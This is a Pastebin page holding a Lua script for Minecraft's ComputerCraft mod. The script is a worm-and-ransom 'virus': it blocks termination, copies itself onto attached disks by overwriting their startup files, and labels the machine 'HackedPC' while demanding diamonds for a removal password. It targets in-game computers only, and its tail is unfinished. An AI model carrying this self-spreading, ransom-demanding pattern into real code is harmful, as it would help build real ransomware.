Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- oldPull = os.pullEvent
- os.pullEvent = os.pullEventRaw
- while true do
- --Spread system/Find Drives--
- D2 = fs.exists("disk2") -- Does the disk2 file exist?
- D2F = fs.exists("disk2/VIR5") -- Is disk2 the infected file?
- D1 = fs.exists("disk") -- Does disk exist?
- D1F = fs.exists("disk/VIR5") -- Is Disk infected?
- --Spread system/InfectD2--
- if D2 == true then
- if D2F == false then
- fs.delete("disk2/startup")
- fs.delete("disk2/start")
- fs.delete("disk2/VIR")
- fs.copy("VIR5", "disk2/VIR5")
- fs.copy("startup", "disk2/start")
- fs.copy("start", "disk2/startup")
- end
- end
- if D1 == true then
- if D1F == false then
- fs.delete("disk/startup")
- fs.delete("disk/start")
- fs.delete("disk/VIR")
- fs.copy("VIR5", "disk/VIR5")
- fs.copy("startup", "disk/start")
- fs.copy("start", "disk/startup")
- end
- end
- os.setComputerLabel("HackedPC")
- decode = math.random(0, 1000000)
- decoding = fs.exists("disk/2328a") -- CHANGE THIS TO DECRYPT KEY
- term.clear()
- term.setCursorPos(1,1)
- rednet.open("back")
- id,message = rednet.receive(10)
- if message == "Connected" then
- rednet.send(id, "CONNECTSUS")
- message = rednet.receive(10)
- if message == "DECY3678" then -- CHANGE THIS TO REDNET DECRYPT
- if decoding == true then
- print("One time Key:", decode)
- print(" ")
- end
- end
- else
- if message == "DECN5849" then
- print("Decryption failed.")
- end
- print("Error 28, please try again.")
- end
- end
- rednet.close("back")
- print("PC hacked!")
- print("Send 18 diamonds for hack removal!")
- write("Removal password: ")
- if tonumber(read("*")) == decode then
- print("Success! Deleting hack files, please wait.")
- sleep(2)
- term.clear()
- term.setCursorPos(1,1)
- os.setComputerLabel("Decoded PC")
- fs.delete("startup")
- fs.delete("start")
- fs.delete("VIR")
- break
- else
- print("Incorrect Code!")
- sleep(1)
- end
- end
- rednet.open("back")
- id,message = rednet.receive(10)
- if message == "Connected" then
- rednet.send(id, "CONNECTSUS")
- message = rednet.receive(10)
- if message == "DECY3678" then
- --ADD CODE HERE--
- else
- if message == "DECN5849" then
- print("Decryption failed.")
- end
- print("Error 28, please try again.")
- end
- end
Add Comment
Please, Sign In to add comment